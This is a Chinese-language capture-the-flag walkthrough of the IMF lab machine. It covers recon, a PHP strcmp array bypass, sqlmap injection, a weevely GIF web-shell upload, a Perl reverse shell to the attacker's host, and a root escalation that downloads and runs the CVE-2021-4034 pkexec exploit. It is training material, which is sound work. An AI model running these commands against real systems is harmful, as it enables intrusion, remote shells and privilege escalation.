【IMF靶场渗透】

文章目录

一、基础信息

二、信息收集

三、flag1

四、flag2

五、flag3

六、flag4

七、flag5

八、flag6


一、基础信息

Kali IP:192.168.20.146

靶机IP:192.168.20.147

二、信息收集

Nmap -sP 192.168.20.0/24

Arp-scan -l

nmap -sS -sV -p- -A 192.168.20.147

端口扫描开放了80端口,web.server:apache http-server 2.4.18

操作系统:ubuntu

访问一下查看页面信息

发现一些邮件地址和人名:

Roger S. Michaels ;rmichaels@imf.local ;Director (主任)

Alexander B. Keith ;akeith@imf.local ;Deputy Director (副主任)

Elizabeth R. Stone ;estone@imf.local ;Chief of Staff(办公室主任)

猜测用户名为:rmichaels,akeith,estone

目录探测

好像没啥发现

三、flag1

查看页面源代码发现flag1,看起来像base64编码,尝试解码,发现为:allthefiles

尝试拼接为目录发现失败,另外上面也有疑似base64编码的字符

四、flag2

看wp发现是把他们连接起来进行base64解码得到flag2,这个没想到,解码得到明文:imfadministrator

再次拼接目录得到页面,想到sql注入或者暴力破解等

查看页面源代码发现作者不建议用sql注入

这里尝试使用上面得到的用户名信息进行测试,测试发现可以先判断有无用户再猜测密码

用户名上面有分析到rmichaels;akeith;estone

发现存在rmichaels用户,可以尝试爆破一下密码,但是测试了一会儿没搞出来

看了wp,这里是进行绕过,因为这里讲到了硬编码,一般使用了一个strcmp()函数的漏洞

strcmp()函数的特点是比较输入值和指定的一个数字

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
        die('Flag: '.$flag);
    else
        print 'No';
}
?>

a输入为非字符串类型数据,就会报错,自动return 0;一般绕过方式是用数组绕过

这个时候我们可以以数组的方式传输数据,使其报错。

五、flag3

得到了flag3和一个路径

flag3{Y29udGludWVUT2Ntcw==}

解码为:continueTOcms

<a href='cms.php?pagename=home'>IMF CMS</a>

路径:http://192.168.20.147/imfadministrator/cms.php?pagename=home

但是这里cms不知道是啥,不好入手,观察到路径参数可以尝试SQL注入,抓取数据包注入

sqlmap -r sql.txt

然后继续查看里面的内容

sqlmap -r sql.txt --current-db

sqlmap -r sql.txt -D admin --tables

sqlmap -r sql.txt -D admin -T pages --columns

sqlmap -r sql.txt -D admin -T pages -C id,pagedata,pagename --dump

六、flag4

看到提示有两个图片,下载下来有一个有一个二维码,扫码得到

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码为:uploadr942.php

访问为一个文件上传页面,根据上面信息收集知道后台为php语言开发,思路为上传php木马。

先正常上传一个图片文件,成功后通过查看源代码看到重命名后的名字,猜测上传路径后可正常访问。

路径为:http://192.168.20.147/imfadministrator/uploads/4eba680d7790.jpg

得到上传路径后尝试上传一句话木马发现,有waf提示不能使用eval等函数,以及不能上传php类文件。尝试黑名单后缀名绕过但没成功,写入命令执行时jpg文件没有生效,gif文件可以,应该是.htaccess文件中有AddHandler application/x-httpd-php .gif,可将gif文件解析为php。

后面参考了其他wp的思路,结合起来选择了比较简单方法。

Weevely工具

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的。

先利用Weevely工具生成一个gif后门文件

weevely generate hp shll.gif

但是注意需要自己在后门文件开头加GIF89a头,不然不能成功上传

文件地址:http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif

工具连接:weevely http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif hp

连接成功后可查看到flag5

七、flag5

解码后明文为:agentservices

此时shell并不是稳定的shell连接,这个时候我们需要重新反弹一个shell到kali

nc -lvvp 8080

利用python未成功,采用了perl命令

perl -e 'use Socket;$i="192.168.20.146";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty;pty.spawn("/bin/bash")'

此时应该进行提权了,这里提权方式参考各wp主要有两种,一种是内核提权,另一种就是根据靶机提示的后续缓冲区溢出提权(比较复杂,可自行搜索学习),这里用的是内核方面的方法

主要参考:

https://blog.csdn.net/weixin_60374959/article/details/127923839

https://www.cnblogs.com/l2sec/p/14410182.html

uname -a

lsb_release -a

系统为ubuntu 16.04.1

这里用到一个提权漏洞:CVE-2021-4034:Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。

Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击。

find / -perm -u=s -type f 2>/dev/null //列出具有suid位的文件

这里可以用已有的exp:cve-2021-4034(至于什么能想到这个,我也不清楚,靠多方面尝试吧)

下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

下载完上传到靶机

python -m http.server 8080                                --kali开启服务
cd /tmp                                                   --靶机进入tmp目录
wget http://192.168.20.146:8080/cve-2021-4034-poc.c       --靶机下载poc
gcc cve-2021-4034-poc.c -o exp                            --靶机反编译
chmod +x exp                                              --给与执行文件权限
./exp                                                     --执行文件

八、flag6

权限为root,可查看到Flag6,解码为Gh0stProt0c0ls

完成!

这次靶机操作下来感觉给的提示很紧密,难度感觉也有点偏高,还是学习到了很多。

相关推荐
MC何失眠1 小时前
vulnhub靶场【哈利波特】三部曲之Fawkes
网络·python·学习·网络安全
闲人-闲人2 小时前
CIA安全属性简介
网络·安全
B站计算机毕业设计超人5 小时前
计算机毕业设计Python异常流量检测 流量分类 流量分析 网络流量分析与可视化系统 网络安全 信息安全 机器学习 深度学习
大数据·人工智能·python·深度学习·web安全·机器学习·课程设计
练小杰6 小时前
谈论 PHP与XSS
开发语言·经验分享·笔记·网络安全·php·xss
weixin_442643426 小时前
工程设计行业内外网文件交换解决方案:FileLink助力高效、安全的跨网协作
运维·服务器·安全·filelink内外网文件交换
xing.yu.CTF8 小时前
攻防世界-fileclude-文件包含
网络·安全·web安全·文件包含漏洞·基础漏洞
岛屿旅人9 小时前
警惕开源信息成为泄密源头
网络·安全·网络安全
网络安全技术分享9 小时前
新手参加2025年CTF大赛——Web题目的基本解题流程
前端·学习·安全·web安全·php·ddos
群联云防护小杜10 小时前
阿里云流量异常:是黑客攻击吗?如何识别和应对
网络·网络协议·安全·web安全·阿里云·云计算·ddos
尘佑不尘10 小时前
shell编程7,bash解释器的 for循环+while循环
linux·开发语言·笔记·后端·web安全·bash·shell编程